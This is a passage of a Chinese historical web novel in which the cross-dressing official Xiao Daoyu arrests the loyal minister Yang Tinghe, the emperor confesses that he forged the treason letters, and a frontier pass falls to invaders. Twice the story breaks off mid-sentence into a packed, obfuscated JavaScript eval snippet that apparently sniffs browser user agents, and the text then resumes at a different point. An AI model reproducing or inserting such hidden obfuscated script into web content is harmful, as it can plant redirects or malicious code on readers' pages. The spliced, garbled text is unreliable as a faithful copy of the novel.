她缓缓走下台阶,靴子踏进积水,溅起水花。在杨明远面前停下,蹲下身,与他平视。 “杨公子,”他她口,声音在雨声里飘忽不定,“本世子……只是奉命行事。” “奉命?”杨明远惨笑,“奉谁的命?皇上的命?还是那些构陷忠良的奸佞的命?”他猛地抓住萧道煜的衣袖,手指因用力而青筋暴起,“萧世子!我杨家世代忠良,我祖父为官四十载,两袖清风,门生故旧遍天下!今日若蒙冤而死,天下士子会如何看?百姓会如何看?史书……又会如何写!” 萧道煜垂眸,看着那双抓住自己衣袖的手。少年的手指冻得冰凉,却死死攥着,仿佛抓住最后一根救命稻草。 可今日?今日他救得了么? 救不了。皇上要杨廷鹤死,要清流势力瓦解,要朝堂彻底清洗。她这把刀,只能砍下去,不能有丝毫犹豫。 “放手。”她轻声道。 杨明远不放,反而抓得更紧:“萧道煜!你也有家人!也有在乎的人!若今日被构陷的是你至亲,你待如何?你还能这般冷血无情吗?” 这句话,像一把淬毒的锥子,狠狠刺进萧道煜心里最隐秘的伤口。家人?她在乎的人?她有么?那个将她当作政治筹码的父亲?那个将她当作延续家族工具的母亲?还是那些各怀心思、互相利用的“心腹”? 她闭了闭眼,再睁开时,眸中最后一点波澜也消失了。她抬手,一根一根,掰开杨明远的手指。 动作很慢,却不容抗拒。 “带走。”她站起身,背过身去,不再看那个瘫在雨水里的少年,“杨府上下,全部押入诏狱。府中一应物品,造册封存。” “遵命!” 黑鳞卫应声而动,铁链哗啦作响,哭喊声再次响起。杨廷鹤被押着往外走,经过萧道煜身边时,忽然停下脚步。 “萧世子,”他声音很轻,却字字清晰,穿透雨幕,“老夫今日的下场,便是你明日的结局。这把刀……总有一天,会砍向执刀之人。” 说罢,仰天大笑,大步走出府门。暴雨冲刷着他的笑声,在夜空中回荡,凄厉如鬼泣。 萧道煜立在原地,一动不动。雨水顺着她的帽檐、脸颊流下,将她浑身浸透。腹中的疼痛已麻木,取而代之的是一种更深、更冷的寒意,从心底蔓延至四肢百骸。 她想起魏进忠的话:“您就是那把刀。” 想起杨廷鹤的怒骂:“这把杀人刀!” 想起伊凡隐瞒真相时的眼神,想起柳砚掷银于地时的决绝,想起……许多许多,她以为自己在坚持正义,实则不过是别人棋子的时刻。 原来她一直是个笑话。 “世子,”萨林的声音在身后响起,“百姓……围过来了。” 萧道煜抬眼望去。府门外长街上,不知何时已聚集了黑压压的人群。有附近的居民,有过路的行人,更有闻讯赶来的士子、书生。人人站在暴雨里,蓑衣斗笠,沉默地看着杨府大门,看着被押出来的杨廷鹤,看着那些哭哭啼啼的女眷。 忽然,有人跪下了。 是一个白发苍苍的老者,穿着洗得发白的儒衫,看样子是个落魄书生。他朝着杨廷鹤被押走的方向,缓缓跪在泥水里,以额触地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道,今夜过后,他这把“刀”,将彻底染上洗不净的血污。而那个名为“萧道煜”的躯壳里,最后一点属于“玉娘”的柔软与良知,也将在这场暴雨中,彻底死去。 北镇抚司后堂暖阁。 炉火未生,夏夜闷热,却驱不散室内那股渗入骨髓的阴寒。萧道煜只着单衣歪在榻上,面色惨白如纸,唇上一点血色也无,只余嘴角尚未擦净的血痕,红得触目惊心。她闭着眼,长睫在眼下投出浓重的阴影,呼吸微弱得几乎听不见。 斐兰度坐在榻边,正为他施针。三寸银针一根根扎进穴位,动作精准利落,面上却无半分表情,仿佛在对待一具没有生命的木偶。 萨林立在门边,幽绿双瞳死死盯着斐兰度的手,仿佛他稍有异动,便会拔刀相向。伊凡则垂手站在稍远处,面色平静,眼神却落在萧道煜苍白的脸上,袖中的手微微握紧。 许久,斐兰度拔完最后一根针,收拾针囊,淡淡道:“急怒攻心,郁结伤肝,旧疾又重三分。若再这般折腾,下次咯血,便是心脉崩裂之兆。” 萧道煜缓缓睁眼,琥珀金的眸子蒙着一层灰翳,声音嘶哑:“死不了。” “是死不了,”斐兰度冷笑,“只是往后夜夜咳血,时时腹痛,求生不得,求死不能——世子觉得,这比死了强么?” 字字如刀,扎得人鲜血淋漓。 萧道煜却笑了,笑意苍凉:“斐先生今日……话很多。” “因为看不下去。”斐兰度站起身,走到窗边,望着窗外依旧滂沱的夜雨,“杨廷鹤……我曾为他夫人诊过脉,是个真正清廉正直的老臣。这样的人,不该落得如此下场。” 暖阁内静了一瞬。萨林眼中闪过厉色,伊凡则垂下眼帘。 萧道煜盯着帐顶承尘,轻声道:“斐先生也认为……本世子是构陷忠良的酷吏?” “是或不是,重要么?”斐兰度转身,目光如冰,“世子,你我都清楚,今夜之事,非你本意。可你还是做了。为什么?因为你是北镇抚司镇抚使,是皇上手中的刀。刀不需要有自己的意志,不需要问对错,只需要听命砍下去——砍向谁,不重要。” 他走到榻前,俯视着萧道煜,声音压得极低,却字字清晰:“所以世子,别再用那些‘忠奸’‘是非’来折磨自己。你只是一把刀,刀谈什么良心?谈什么公道?” 这番话,比杨廷鹤的怒骂更狠,比魏进忠的嘲讽更毒。因为它撕开了所有伪装,将血淋淋的真相摆在面前——你萧道煜,从来就没有选择的余地。从你出生那天起,从你被当作“世子”养大的那天起,你的命运就已注定。 一把刀。一把锋利、好用、用完就可以丢弃的刀。 萧道煜闭上眼,胸口剧烈起伏,喉间又涌上腥甜。她咬紧牙关,硬生生咽下,再睁眼时,眸中一片死寂的平静。 “斐先生说得对。”她轻声道,“本世子……只是一把刀。” 斐兰度看着她,眼中闪过一丝极淡的、几乎看不见的复杂情绪。良久,他提起药箱:“药在桌上,按时服用。三日内不可下床,不可劳心。否则……”他顿了顿,“便准备后事吧。” 说罢,转身离去,石青长衫在烛火中划出一道孤绝的弧线。 暖阁内重归寂静。窗外暴雨如注,雷声隐隐。萧道煜独自躺在榻上,望着帐顶,忽然想起很多年前,母亲李氏逼他背诵《孟子》时说的话: “你是世子,是未来的忠顺王,要懂得取舍,懂得……为大局牺牲。” 取舍就是,牺牲杨廷鹤这样的忠良,保全皇权的稳固;牺牲柳砚那样的寒士,维持科举的“体面”;牺牲自己那点可怜的良知与尊严,换取这把“刀”还能继续砍下去的资格。 多可笑。多可悲。 “世子,”伊凡的声音忽然响起,很轻,“夜深了,您歇着吧。臣……守着您。” 萧道煜没有回应。她只是缓缓侧过头,望向窗外。雨还在下,倾盆如注,将这座充满阴谋与血腥的京城,冲刷在一片混沌的水幕之中。 可她知道,雨停了之后,蒸腾起的依旧是夏日的闷热与更深的污浊之气。 就像她这副躯壳,看似位高权重、令人畏惧,内里却早已千疮百孔、腐朽不堪。 她闭上眼,一滴冰冷的液体,悄然从眼角滑落,没入鬓发,消失不见。 远处传来四更的梆子声,悠悠长长,在暴雨夜里,苍凉如挽歌。 这一夜,许多人无眠。 杨府女眷在诏狱中哭泣,杨明远在刑房里受审,百姓在长街上跪求,永熙帝在乾清宫批阅下一道旨意。 而萧道煜,这把染血的刀,在闷热的病榻上咳血辗转,第一次如此清晰地意识到—— 她这一生,早已注定,不得善终。 27. 第 27 章 寅时三刻,天色尚沉,午门外已乌泱泱跪满了文武百官。昨日暴雨虽歇,暑气却裹着湿黏水汽蒸腾上来,朝服厚重,跪在仍带潮意的青砖地上,不多时便汗透中衣。众臣按品级列队,鸦雀无声,只闻御道两侧铜鹤口中袅袅升起的驱蚊艾烟,混着晨间未散的雾气,在汉白玉栏杆间氤氲缠绕。 卯时正,景阳钟响。九声悠长沉重的钟鸣,撞破京城黎明前的寂静,却在潮湿的空气里传不甚远,闷闷的。丹陛大乐起,午门三道朱漆大门缓缓洞开,百官鱼贯而入,踏着被宫人连夜清扫却仍湿漉漉的青砖御道,穿过重重宫门,终于来到太和殿前。 殿高九丈九尺,重檐庑殿顶,上覆明黄琉璃瓦,在晨曦微光中如覆金甲。蟠龙金柱高耸入云,殿前丹墀三层,每层九级,取“九五至尊”之意。此刻殿门大开,内里灯火通明,却因着空旷深邃,反倒透出一股森严的闷热。 永熙帝端坐龙椅之上,一身十二章衮服,头戴十二旒冕冠,珠玉垂旒遮住了大半面容,只露出线条冷硬的下颌。他目光缓缓扫过丹墀下匍匐的臣子,最后落在文官首位那个空着的位置——那是内阁首辅杨廷鹤的朝班。 “众卿平身。”声音从冕旒后传来,平静无波。 “谢皇上——”百官山呼,起身肃立。不少人暗中挪动酸麻的腿脚,朝服下摆已沾了湿痕。 殿内死寂,只闻窗外隐隐蝉鸣初起。所有人都知道今日朝会所为何事——昨夜北镇抚司查抄杨府,暴雨中动静极大,已传得满城风雨。有人幸灾乐祸,有人兔死狐悲,更多人则屏息凝神,等待天子雷霆。 永熙帝抬手,侍立一旁的司礼监太监立刻上前,展开一卷明黄圣旨,尖细的嗓音在空旷闷热的大殿里回荡: “奉天承运,皇帝诏曰:内阁首辅杨廷鹤,世受国恩,位居台辅,本应竭忠尽智,匡扶社稷。然其暗怀叵测,私通外藩,勾结匈奴左贤王部,图谋不轨,罪证确凿。着革去一切官职、爵位,押入诏狱,三司会审,依律严惩,以儆效尤。钦此——” 诏书念罢,满殿哗然! 虽早有预料,可“私通外藩”“勾结匈奴”这等罪名,仍如惊雷炸响。杨廷鹤是何人?三朝元老,清流领袖,门生故旧遍布朝野,素以刚正不阿闻名。说他贪墨、说他专权,或许有人信;可说通敌叛国…… “皇上!”一个紫袍老臣踉跄出列,正是都察院左都御史周子谅,杨廷鹤的同年挚友。他须发皆张,额上汗珠混着激愤的泪,扑通跪倒,膝下青砖犹湿:“杨阁老忠贞体国,天下共知!通敌之罪,定是奸人构陷!求皇上明察,万不可让忠良蒙冤啊!” “周大人所言极是!”又一位老臣出列,是礼部尚书孙承宗,夏袍后背已汗湿一片,“杨阁老为官四十载,两袖清风,举朝称颂。昨夜北镇抚司冒雨抄家,臣闻百姓跪街哭喊,士子联名上书——此乃民心所向!若仅凭一纸‘密信’便定首辅通敌,恐寒天下忠臣之心!” “臣附议!” “臣亦附议!” 转眼间,竟有二三十位官员出列跪倒,皆是杨廷鹤的门生故旧,或是素来敬仰其人的清流臣子。黑压压跪了一片,谏声、叩头声,在大殿里嗡嗡回荡,闷热中更添烦躁。 永熙帝端坐龙椅,冕旒珠玉纹丝不动。待声音稍歇,他才缓缓开口,声音依旧平静:“众卿之意,朕明白了。然……”他顿了顿,“北镇抚司在杨廷鹤书房暗格中,搜出其与匈奴左贤王往来密信六封,信中详述我朝边关布防、粮草储备、将领调动。更有其私印为凭,笔迹经三司鉴定,确系真迹。人证物证俱在,莫非……也是构陷?” 这番话如冰水浇头,跪着的臣子们面面相觑,一时语塞。他们可以质疑动机,可以痛斥手段,可若真有“铁证”…… “皇上!”周子谅猛地抬头,额上已因叩首沾了灰渍,“纵有密信,焉知不是他人伪造?杨阁老若真通敌,何必留此证据于书房暗格?此中蹊跷,明眼人皆能看出!求皇上将此案发还重审,由三司、九卿、科道共议,方显公正!” “发还重审?”永熙帝轻笑,笑声透过冕旒传来,带着一丝不易察觉的冷意,“周卿是觉得,北镇抚司办案不公?还是觉得……朕昏聩不明,辨不清忠奸?” 这话太重。周子谅浑身一颤,伏地不敢言。 殿内再次死寂。只有铜漏滴答,一声声,敲在人心上,窗外蝉鸣却愈响,吵得人头疼。 永熙帝目光转向武官队列:“萧道煜。” 文官队列末尾,一道绯色身影出列。萧道煜今日未戴官帽,鸦青色长发以玉冠高束,面色苍白如旧,唇色淡得几乎看不见,额角却有细密汗珠。她缓步走到丹墀下,躬身:“臣在。” “杨廷鹤通敌一案,是你北镇抚司经办。”永熙帝声音听不出情绪,“如今众卿质疑,你可有话要说?” 所有目光瞬间聚焦在那道单薄的身影上。跪着的清流臣子眼中是愤怒与鄙夷,勋贵武将眼中是忌惮与审视,更多人则是冷眼旁观,等着看这把“刀”如何应对。 萧道煜缓缓直起身。她抬首,望向龙椅上那个模糊的身影,琥珀金的眸子里映着殿内煌煌灯火,却一片死寂的平静。 “回皇上,”她开口,声音嘶哑却清晰,“北镇抚司办案,一切依律。杨廷鹤书房暗格中之密信,确系搜出,有搜案记录、见证画押为凭。至于信之真伪……臣非笔迹鉴定之专家,不敢妄断。然既有物证,依律当收监候审,此臣分内之事。” 一番话,滴水不漏。既未咬死杨廷鹤通敌,也未否认证据存在,只强调“依律办事”。可在这等关头,这种冷静到近乎冷酷的态度,反而更让人心寒。 “萧道煜!”周子谅再也忍不住,指着他的鼻子厉声骂道,“你这酷吏!佞幸走狗!为了攀附权贵,构陷忠良,你良心何安!就不怕遭天谴吗!” 骂声在大殿里回荡,一些年轻气盛的御史也跟着附和:“奸佞当道,国将不国!” 萧道煜立在原地,一动不动。飞来的唾骂,仿佛落不到她身上。她只静静看着丹墀上那方龙椅,看着冕旒后那双深不见底的眼睛。 原来这就是当“刀”的滋味。砍下去的时候,要承受所有被砍之人的恨意,承受天下人的唾骂,而执刀之人,只需安稳坐在高处,冷眼旁观。 她忽然想笑。笑自己这些年的自以为是,笑自己那点可笑的“公道”执念。 正要开口,殿外忽然传来一阵急促慌乱的脚步声,踏破满殿闷热! “报——八百里加急!雁门关军报——” 嘶哑的喊声由远及近,一个满身尘土泥浆的驿卒连滚爬冲进大殿,扑倒在丹墀之下,手中高举一卷插着三根赤羽的急报,声音因恐惧而变了调: “雁门关失守!匈奴二十万铁骑南下!大同、宣府告急!请皇上速发援兵!” “轰——” 仿佛惊雷炸响在大殿穹顶,方才还剑拔弩张的朝堂,瞬间死寂。所有跪着的、站着的、愤怒的、冷静的臣子,全都僵在原地,脸上血色褪尽。 雁门关……失守? 那可是北疆第一雄关!自大雍开国以来,从未被外敌攻破的屏障!关内驻军五万,皆是精锐,更有杨廷鹤当年力排众议提拔的一批悍将镇守,怎会…… 永熙帝猛地站起,冕旒珠玉剧烈晃动,撞出清脆的乱响。他一把夺过太监呈上的急报,展开,目光急速扫过上面潦草却刺目的字句。越看,脸色越白,捏着绢纸的手指因用力而青筋暴起。 “五月廿七,匈奴左贤王亲率二十万铁骑,趁夜暴雨,突袭雁门关。守将赵擎苍……临阵退缩,副将周怀义战死,关城火起,军民死伤无算……廿八丑时,关破……” 每一个字,都像淬毒的匕首,狠狠扎进心里。永熙帝踉跄后退,跌坐龙椅,急报从手中滑落,飘然坠地。 殿内死一般寂静。只有那驿卒粗重的喘息声,和铜漏滴答,一声声,敲碎所有人的侥幸。窗外蝉鸣不知何时停了,取而代之的是远处隐隐的闷雷。 “赵擎苍……”兵部尚书沈默喃喃重复这个名字,忽然脸色大变,扑跪在地,“皇上!赵擎苍乃杨阁老门生,去岁才由杨阁老力荐,擢升雁门关总兵!此人……此人若临阵退缩,是否与杨阁老通敌之事……” 话说一半,戛然而止。可意思,所有人都听懂了。 若杨廷鹤真通敌,那他提拔的边关将领,会不会也…… “不可能!”周子谅嘶声喊道,声音在闷热的大殿里显得干涩,“赵擎苍骁勇善战,忠心耿耿,绝不可能临阵退缩!定是军报有误!或是……或是有人陷害!” “陷害?”沈默猛地转身,双目赤红,“周大人!军报上写得清清楚楚!雁门关五万守军,一夜溃散!如今匈奴铁骑长驱直入,大同、宣府危在旦夕!你告诉我,这是陷害?那二十万匈奴人是纸糊的不成!” “我……” “够了!”永熙帝厉声打断,声音因愤怒而颤抖。他扶着龙椅扶手站起,冕旒珠玉哗啦乱响,“现在不是争论的时候!沈默!” “臣在!” “即刻调京营十万,火速驰援大同!传令九边各镇,严加戒备,绝不可再失一城!”永熙帝急促下令,却又猛地顿住,“粮草……粮草可足?” 沈默脸色惨白,汗如雨下:“回皇上,今春北方大旱,夏粮未收,边关粮草本就不足。去岁盐案、漕案接连爆发,漕运阻滞,江南粮米北运不及……如今库中存粮,只怕……只怕支撑不了半月。” “半月?”永熙帝瞳孔收缩。 “是……而且,”沈默声音更低,几乎是从牙缝里挤出,“边关将领多为杨阁老当年整顿军务时提拔,如今杨阁老下狱,这些将领……人心惶惶,恐生变故。” 每一句话,都像一记重锤,狠狠砸在永熙帝心头。他扶着龙椅,指尖冰凉,眼前阵阵发黑。 盐案、科举案、杨廷鹤案……这一桩桩,一件件,本是为了收拢权柄、稳固皇位。可如今,边关告急,粮草不济,将领离心——这一切,竟都与他这些年的“新政”息息相关! 他忽然想起杨廷鹤那日在御书房的话:“皇上,治国如烹小鲜,不可操切。盐政、漕运、边关,牵一发而动全身。若为集权而动摇根基,恐生大祸。” 当时他只觉这老臣迂腐,碍手碍脚。如今…… “噗——” 一口鲜血猛地涌上喉咙,永熙帝强忍着咽下,腥甜之气却弥漫口腔。他缓缓坐下,冕旒珠玉垂下,遮住了脸上那一闪而逝的惨白与……悔意。 殿内群臣已乱作一团。文官窃窃私语,武将焦躁踱步,方才还跪着谏言的清流臣子,此刻也都茫然失措——若杨廷鹤真通敌,那他们方才的力保,岂不是…… “皇上!”一直沉默的忠顺王萧善钧忽然出列。他今日着一身亲王夏纱常服,鬓角微霜,面容儒雅,手中把玩着一枚羊脂玉扳指,神色从容,与满朝慌乱形成鲜明对比,“臣有一言。” 永熙帝抬眼看他:“皇叔请讲。” “边关危急,当务之急是稳军心、筹粮草、退强敌。”萧善钧缓声道,声音在闷热中格外清晰,“至于杨廷鹤是否通敌……可暂缓审理。不妨先将其从诏狱移至刑部,以示朝廷宽仁。同时,释放其部分家眷,安抚边关将领之心。待击退匈奴,再行详查不迟。” 这番话,看似公允,实则暗藏机锋。释放杨廷鹤家眷,表面是“宽仁”,实则是向边关将领示好——看,朝廷并非要赶尽杀绝,你们好好打仗,杨家还有生机。至于击退匈奴后再查……仗打完了,杨廷鹤是死是活,还不由皇上说了算? 永熙帝盯着这位皇叔,眼中闪过一丝复杂情绪。他如何不知萧善钧的盘算?可眼下,这似乎是唯一能稳住局面的法子。 “准。”他终于开口,声音疲惫,“杨廷鹤暂移刑部,其家眷……除直系亲属外,其余释放。边关军务,由兵部统筹,忠顺王……从旁协助。” “臣遵旨。”萧善钧躬身,唇角勾起一丝极淡的、几乎看不见的弧度。 一场朝会,就在这突如其来的边关急报中,仓促结束。百官散去时,人人面色凝重,步履匆匆,再无人提起方才那场关于“忠奸”的激烈争辩。 烽火已燃至家门口,谁还有心思争论朝堂是非? 萧道煜最后一个走出太和殿。 夏日晨光已炽,照在汉白玉广场上,反射出炫目的白光,蒸腾起昨夜雨水残留的水汽。她眯了眯眼,脚步有些虚浮,腹中那处“石瘕”像是被方才朝堂上的惊变刺激到,又开始隐隐作痛,闷热天气里更添烦躁。 萨林上前扶住他,低声道:“世子,可要回衙?” 萧道煜摆摆手,独自走到丹墀边缘,扶着被晒得微烫的石栏,望向北方。远处宫阙重重,飞檐斗拱,在晴空下巍峨壮丽。可她知道,越过这些繁华,千里之外,是烽火连天,是尸横遍野,是二十万匈奴铁骑正踏破大雍的河山。 雁门关……赵擎苍…… 他想起去年秋日,杨廷鹤在兵部值房,指着舆图上雁门关的位置,对他侃侃而谈:“此地乃北疆咽喉,守将须得智勇双全、忠贞不二。赵擎苍此人,虽出身寒微,然熟读兵书,善待士卒,更难得的是心有家国——当年僰人之乱,他率三百亲兵死守孤城七日,粮尽援绝,宁死不降。这样的人,该用。” 那时她刚执掌北镇抚司不久,对这位清流领袖还存着几分敬意,便问:“杨阁老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说罢,转身朝乾清宫走去。绯色官袍在夏日阳光下刺目如血,背影单薄却挺直,一步步,踏过被晒得发烫的汉白玉广场,踏过重重宫门,踏进那座天下权力最中心的宫殿。 乾清宫西暖阁。 永熙帝已褪去朝服,只着一身明黄纱袍,负手立在窗前,望着御花园里盛放的榴花。听到脚步声,他未回头,只淡淡道:“来了。” 萧道煜躬身:“臣参见皇上。” “免礼。”永熙帝转身,面上已恢复了平日的平静,只是眼下有淡淡的青影,显是一夜未眠,鬓角在闷热中微湿,“方才朝堂上,委屈你了。” 萧道煜垂眸:“臣分内之事,不敢言委屈。” “分内之事……”永熙帝重复,走到紫檀木大案后坐下,指尖无意识摩挲着一方凉玉镇纸,“萧道煜,你跟朕说句实话——杨廷鹤通敌一案,你怎么看?” 暖阁内静了一瞬。窗外蝉鸣聒噪,闷热无风,与这话题的沉重格格不入。 许久,萧道煜才缓缓开口,声音在闷热中显得干涩:“臣……不知。” “不知?”永熙帝挑眉。 “是。”萧道煜抬头,直视天子,额角有汗滑下,“臣只知,北镇抚司在杨廷鹤书房搜出密信,此为事实。至于信之真伪、杨廷鹤是否通敌……臣非神明,不敢妄断。” “好一个不敢妄断。”永熙帝轻笑,笑意未达眼底,“那朕告诉你——那封信,是假的。” 轻飘飘一句话,却如惊雷炸响。 萧道煜瞳孔骤缩,猛地抬头,眼中尽是不可置信,腹中剧痛骤然袭来。 “是朕命人伪造,命伊凡放入杨廷鹤书房。”永熙帝语气平静,仿佛在说一件无关紧要的小事,却在这闷热天气里字字如冰,“朕需要一個理由,一个能扳倒杨廷鹤、清洗清流势力的理由。通敌……再合适不过。” 每一个字,都像烧红的铁锥,狠狠扎进萧道煜心里。她浑身发冷,指尖冰凉,喉间腥甜翻涌,几乎要呕出血来。 原来如此。原来那封“铁证”,真是伪造。原来伊凡那夜的潜入,真是奉旨行事。原来她从头到尾,都在为一个谎言奔忙,为一个阴谋充当刽子手! “为什么……”她声音嘶哑,几乎是从胸腔里挤出,“杨廷鹤……是忠臣。” “忠臣?”永熙帝冷笑,站起身,纱袍在闷热中纹丝不动,“他是忠臣,可他的‘忠’,是对这江山社稷,不是对朕!他门生故旧遍布朝野,清流士子唯他马首是瞻,朕的旨意,他若觉得不妥,便联合百官上书谏阻——这样的臣子,留之何用?” 他走到萧道煜面前,目光锐利如刀,带着夏日的燥热:“萧道煜,你记住——为君者,不需要太有主见的忠臣,只需要听话的奴才。杨廷鹤不听话,所以朕要除掉他。就像盐案除掉王克善,科举案除掉周敬之一样。这一切,都是为了稳固皇权,为了这大雍江山!” 声音激昂,在闷热的暖阁内回荡。可萧道煜听着,只觉得可笑,可悲。 稳固皇权?大雍江山?那雁门关呢?那二十万匈奴铁骑呢?那些因将领离心、粮草不济而白白送命的边关将士呢? “皇上可曾想过,”她缓缓开口,字字清晰,“除掉杨廷鹤,边关将领谁人安抚?粮草漕运谁人统筹?清流士子谁人引领?如今雁门关失守,大同宣府告急——这,就是皇上要的‘稳固’么?” 永熙帝脸色一白,猛地后退一步,像是被这话刺中了最痛的伤口。他张了张嘴,想说什么,却终究没有说出口。只是死死盯着萧道煜,眼中翻涌着愤怒、懊悔、还有一丝不易察觉的……恐慌。 暖阁内死寂。只有两人粗重的呼吸声,交织在一起,闷热中更显压抑。 许久,永熙帝才颓然坐下,摆了摆手,声音疲惫:“你……退下吧。” 萧道煜躬身,转身离去。走到门口时,她忽然顿住,没有回头,只轻声道:“皇上,臣今日才明白一个道理——长城不是被敌人攻破的,是被自己人,一块砖一块砖,亲手拆毁的。” 说罢,推门而出。夏日炽烈的阳光涌进来,刺得他眼前一黑。 身后,暖阁内传来瓷器碎裂的脆响,还有天子压抑的、愤怒的低吼。 萧道煜却仿佛没听见。她只是缓缓走过长长的宫道,走过那些被晒得发烫的朱墙金瓦,走过那些跪地行礼、汗湿后背的宫人,走过这座繁华却腐朽的皇城。 腹中疼痛加剧,闷热天气里冷汗淋漓,他扶住被晒得滚烫的宫墙,剧烈咳嗽起来,咳得弯下腰去,咳得撕心裂肺。 “噗——” 一口黑血喷在宫墙根下,在夏日炽烈的阳光里,迅速被蒸干,留下暗红刺目的痕迹。 她低头看着那摊血渍,忽然笑了。笑声很低,却带着一种近乎癫狂的悲凉。 自毁长城。 原来她这把刀,砍来砍去,砍断的,竟是大雍最后的脊梁。 远处钟楼传来午时的报时声,悠长沉重,在闷热无风的皇城上空回荡,仿佛在为这个摇摇欲坠的王朝,敲响丧钟。而天边,乌云正自北方滚滚而来,预示着又一场暴雨将至。 28. 第 28 章 太和殿内气氛凝重如铁,铜漏滴答之声在闷热死寂中格外刺耳。龙椅之上,永熙帝面色灰败,一夜之间仿佛老了十岁。冕旒珠玉低垂,遮不住眼底的猩红血丝,那身明黄朝服穿在身上,竟有些空荡了,领口处可见汗渍暗痕。 丹墀之下,文武百官垂首肃立,个个面如土色,不少人后背夏袍已湿透一片。晨间那场关于杨廷鹤的激烈争辩,此刻早已被边关烽火烧成灰烬。雁门关失守的消息如瘟疫般传遍朝野,恐慌在每一双低垂的眼眸里无声蔓延,混着殿内驱不散的闷热湿气,令人呼吸都困难。 兵部尚书沈默颤巍巍出列,声音嘶哑如破锣:“启禀皇上,京营十万已整装待发,然粮草……粮草仅够七日之用。漕运总督急报,运河因春旱水位大降,多处淤浅,南粮北运至少需月余……” “月余?”永熙帝猛地抬头,珠玉乱响,撞出烦躁的脆音,“匈奴铁骑三日便可兵临大同!等你们的粮草到了,边关将士是饿着肚子打仗,还是开城投降?!” 沈默伏地,额头抵在微湿的金砖上,不敢再言。 殿内死寂,只闻窗外蝉鸣聒噪。夏日的风从敞开的殿门涌进来,本该带着御花园荷塘的水汽,此刻却仿佛裹挟着千里之外的血腥与硝烟。几个年老体衰的臣子受不住这闷热压抑,以袖掩口,低低咳嗽起来,声音在空旷大殿里回荡,更添烦乱。 就在这片令人窒息的沉默中,文官队列中忽然传出一声几不可闻的叹息。 众人侧目,只见忠顺王萧善钧缓步出列。他今日未着亲王冕服,只一身素紫夏纱常服,鬓角霜白在殿内煌煌灯火下被汗水濡湿,格外显眼。他走到丹墀中央,撩袍跪倒,姿态端正如松,膝下金砖犹带潮气。 “皇上,”他的声音不高,却字字清晰,穿透大殿闷热的空气,在穹顶下回荡,“臣,有本奏。” 永熙帝目光落在这位皇叔身上,眼中闪过复杂难辨的情绪——有警惕,有审视,还有一丝不易察觉的疲惫。他沉默片刻,才道:“皇叔请讲。” 萧善钧缓缓抬头,眼中竟蓄了泪光,在烛火下晶莹闪烁。他深吸一口气,那口气吸得又深又长,仿佛要吸尽殿内所有闷热,声音陡然拔高,带着一种近乎悲壮的颤音: “国难当头,社稷危殆!雁门关破,北疆烽火,二十万匈奴铁骑践我河山,屠我百姓!此乃大雍开国百年来未有之耻辱!” 他霍然起身,转向满朝文武,须发皆张,夏纱袍袖在激动中微微震颤:“诸公!你我食君之禄,享民之奉,此刻还能安坐朝堂,争论那些蝇营狗苟吗?!” 声如洪钟,震得梁上微尘簌簌落下。百官悚然,有人羞愧低头,有人面色涨红,更多人则是在闷热中渗出冷汗。 萧善钧再次转身,面向龙椅,重重叩首,额角抵在微湿的金砖上,发出沉闷的响声: “臣,萧善钧,太祖血脉,世受国恩!今见山河破碎,百姓流离,五内俱焚,寝食难安!”他抬起头,眼中泪光闪烁,声音哽咽,“臣虽年迈,然弓马未废,兵书常读。恳请皇上——准臣挂帅出征,率京营将士驰援边关,收复失地,以雪国耻!” 一字一句,掷地有声。最后一个字落下时,竟有血丝从嘴角渗出,混着额角的汗,显是激动至极。 满殿哗然! 忠顺王……要亲征? 这位以风流儒雅闻名的亲王,多年来深居简出,纵情声色,朝野上下皆视其为闲散宗室。谁能想到,在此国难当头之际,他竟能挺身而出,说出这般慷慨激昂之语? 短暂的死寂后,勋贵队列中率先爆发出喝彩: “忠顺王忠义!” “王爷高义!臣等愿追随王爷,共赴国难!” “皇上!王爷乃太祖血脉,皇室至亲,由他挂帅,正可彰显天家与国同戚之心!” 文官队列中虽有人皱眉——萧善钧多年不问军政,能否胜任?可眼下这局面,还有更好的人选吗?杨廷鹤下狱,边关将领离心,朝中能统兵者,要么年迈,要么资历不足……这闷热天气里,人人心头都像压着块石头。 永熙帝端坐龙椅,手指死死扣住扶手,指节泛白。他盯着丹墀下那个跪得笔直的身影,心中翻江倒海。 皇叔……真是为国为民么? 他想起这些年来,萧善钧在朝中若即若离的姿态,想起西苑太上皇那些若有若无的暗示,想起萧道煜这把“刀”越来越难掌控的迹象……如今边关大乱,朝堂动荡,这位皇叔偏在此时请缨,是真要救国,还是……另有所图? 可他还有选择么? 京营十万,已是都城最后屏障。若交给其他将领,谁能保证不起二心?若交给萧善钧……至少,他是宗室,是皇叔,若真有不轨,天下人皆可见。 这念头如毒蛇,在心头缠绕。永熙帝闭了闭眼,再睁开时,已恢复了帝王应有的冷静与威仪,只是额角细密的汗珠在冕旒珠玉间闪烁。 “皇叔……”他缓缓开口,声音带着疲惫的沙哑,“年事已高,边关苦暑,朕……于心何忍?” “皇上!”萧善钧再次叩首,声泪俱下,汗水与泪水混在一起,“臣今年四十有七,尚能开三石弓,驭千里马!太祖当年征讨四方,五十仍亲临战阵!今国难当头,臣若贪图安逸,苟且偷生,百年之后,有何颜面去见列祖列宗?!” 他猛地撕开胸前夏纱衣襟,露出精瘦却结实的胸膛——那里赫然有几道陈年伤疤,在烛火下狰狞可怖,随呼吸起伏。 “臣少年时曾随军征讨僰人,这伤,便是那时所留!”他指着伤疤,目光灼灼,在闷热的大殿里如两点寒星,“臣非纸上谈兵之辈!请皇上……准臣以残躯,报效国家!” 殿内再次沸腾。那些原本心存疑虑的臣子,见此情景,也忍不住动容。几个老将更是红了眼眶,仿佛忆起当年峥嵘岁月,汗湿重衣。 永熙帝沉默良久。阳光从殿门斜射进来,在他脸上投下明暗交错的光影,冕旒珠玉间汗光闪烁。终于,他缓缓起身,走下丹墀。 靴底踏在微湿的金砖上,发出沉闷的响声。他在萧善钧面前停下,俯身,亲手将这位皇叔扶起。触手处,夏纱已汗湿一片。 四目相对。一君一臣,一侄一叔,眼中都有太多说不清道不明的东西,在闷热空气中无声交锋。 